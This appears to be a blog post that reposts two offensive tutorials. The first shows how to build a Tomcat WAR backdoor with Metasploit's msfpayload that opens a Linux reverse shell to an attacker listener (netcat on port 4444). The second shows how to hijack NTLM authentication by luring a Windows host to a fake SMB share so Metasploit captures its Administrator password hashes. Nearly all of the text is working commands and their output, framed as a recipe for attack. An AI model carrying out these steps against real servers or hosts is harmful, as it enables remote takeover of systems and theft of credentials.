Hacking Tomcat using Metasploit’s WAR payloads

Facing a tomcat server.. and need to upload a WAR backdoor…??, well… we can create a WAR backdoor very easily with Metasploit, ok follow this steps:

1. Creating the backdoor.

dudul@banget:~$ msfpayload linux/x86/shell_reverse_tcp LHOST=172.16.96.1 W > dudul.war
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell_reverse_tcp
Length: 71
Options: {“LHOST”=>”172.16.96.1″}

it will create a WAR file contain a random name for jsp backdoor file

2. Upload the WAR file.

3. Use netcat to listen for the reverse shell connection.

dudul@banget:~$ nc.traditional -lvp 4444
listening on [any] 4444 …

4. Access the backdoor with the web browser.

http://172.16.96.140:8080/dudul/spwigfeikmv.jsp

msf create a random jsp file, so… make sure to access the right jsp file

5. Boom… we got a reverse shell connection. 

[source: http://www.digital-echidna.org/2011/05/create-a-war-backdoor-with-metasploit/]

NTLM Authentication Hijack using Metasploit

Local Host: 192.168.1.252/24 (TEST-BT4)
Target Host: 192.168.1.50/24 (LON-CL1)

Step 1: Search for smb pattern

Code:

msf > search smb

Step 2: Use SMB Auxiliary module to capture hashes

Code:

msf > use server/capture/smb
msf auxiliary(smb) > show options
sniff..
msf auxiliary(smb) > set PWFILE /tmp/captured_hashes.txt
msf auxiliary(smb) > set SRVHOST 192.168.1.252
msf auxiliary(smb) > run

Step 3: From the target machine, connect to our machine by using:

Code:

\\192.168.1.252\shared\xxx.jpg

Note: \shared\xxx.jpg is just a fake link (doesn’t exist).

Step 4: Switch to our machine and check if you’ve got the hashes captured

Code:

msf auxiliary(smb) >
[*] Captured 192.168.1.50:1038 LON-CL1\Administrator LMHASH:24c9f38ec487472158851be047f9bd66ee5ef6eb6ff6e04d NTHASH:e52d81bf661f3699cfa4b631aead9ec78416dc8bce17dfd4 OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1

Press Ctrl-C to exit from msf console.

To display our captured hashes, change to /tmp directory:

Code:

root@bt:/pentest/exploits/framework3# cd /tmp
root@bt:/tmp# cat captured_hashes.txt

[source: http://flexi-learn.blogspot.com/2010/09/ntlm-authentication-hijack.html]